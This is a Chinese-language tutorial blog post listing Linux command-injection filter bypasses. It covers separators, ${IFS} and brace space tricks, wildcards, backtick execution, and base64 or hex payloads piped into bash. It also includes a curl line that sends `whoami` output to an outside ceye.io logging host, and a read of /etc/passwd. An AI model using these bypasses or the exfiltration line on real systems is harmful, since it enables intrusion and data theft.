Linux命令执行绕过

Linux命令执行绕过,第1张

Linux命令执行绕过

主要介绍了linux的命令执行绕过、文件读取的一些方法

文章目录

符号绕过

分号 ;管道符 |符号 &符号 &&符号 ||绕过空格通配符绕过内联执行其他 文件读取编码绕过

base64hex编码绕过unicode编码

符号绕过 分号 ;

格式

command1; command2

用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。

举例

echo 'hello 5wimming'>bbq.txt; cat bbq.txt

管道符 |

格式

command1 | command2 | command3

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

举例

cat /etc/passwd | grep bash | wc -l

符号 &

格式

command1 & command2

&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1

例子

符号 &&

格式

command1 && command2 [&& commandx]

&& 表示前一条命令执行成功时,才执行后一条命令

符号 ||

格式

command1 || command2 [|| commandx]

跟&&符号相反,前面那条命令为假才会执行后面的命令

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。

绕过空格

例子如下

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
catflag.txt
cat flag

利用变量和UTF16编码

kg=$'x20bbq.txt'&&cat$kg
通配符绕过

?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配

例子如下:

newbee:temp $ cat bb??txt 
hello 5wimming
newbee:temp $ cat bb*txt 
hello 5wimming
内联执行

例子

newbee:test $ curl `whoami`.p7yc0x.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
cat$IFS`ls`

使用内联执行会将 ``内的输出作为前面命令的输入

其他
l's' -la
ls -la
ls -la

文件读取

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort:先排序再读文件

paste:会把每个文件以列对列的方式,一列列地加以合并

diff:用于比较文件的差异

od:读取所给予的文件的内容,并将其内容以八进制字码呈现出来

bzmore:将bzip压缩过的文件解压到标准输出,同时也可以将普通文件显示到标准输出

bzless:用于 crt 查看 bzip2 压缩文本的文件阅读过滤器,与bzmore类似,但是功能更强大
curl:这个就众所周知了

curl file:///Users/temp/test/temp.txt

编码绕过 base64
newbee:test $ echo Y2F0IHRlbXAudHh0Cg== | base64 -d
cat temp.txt
newbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|bash
hello 5wimming
hello bbq
hello 5wimming
newbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|sh
hello 5wimming
hello bbq
hello 5wimming
hex编码绕过
newbee:test root$ echo 6361742074656d702e7478740a | xxd -r -p|bash
hello 5wimming
hello bbq
hello 5wimming
newbee:test root$ echo 6361742074656d702e7478740a | xxd -r -p
cat temp.txt
unicode编码
newbee:test root$ $(printf "154163")  # ls
decode16.txt	encode16.txt	temp.txt	test.ps1

newbee:test root$ $(printf "catx20temp.txtx0A")

参考:
https://www.freebuf.com/articles/network/258676.html

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5720533.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存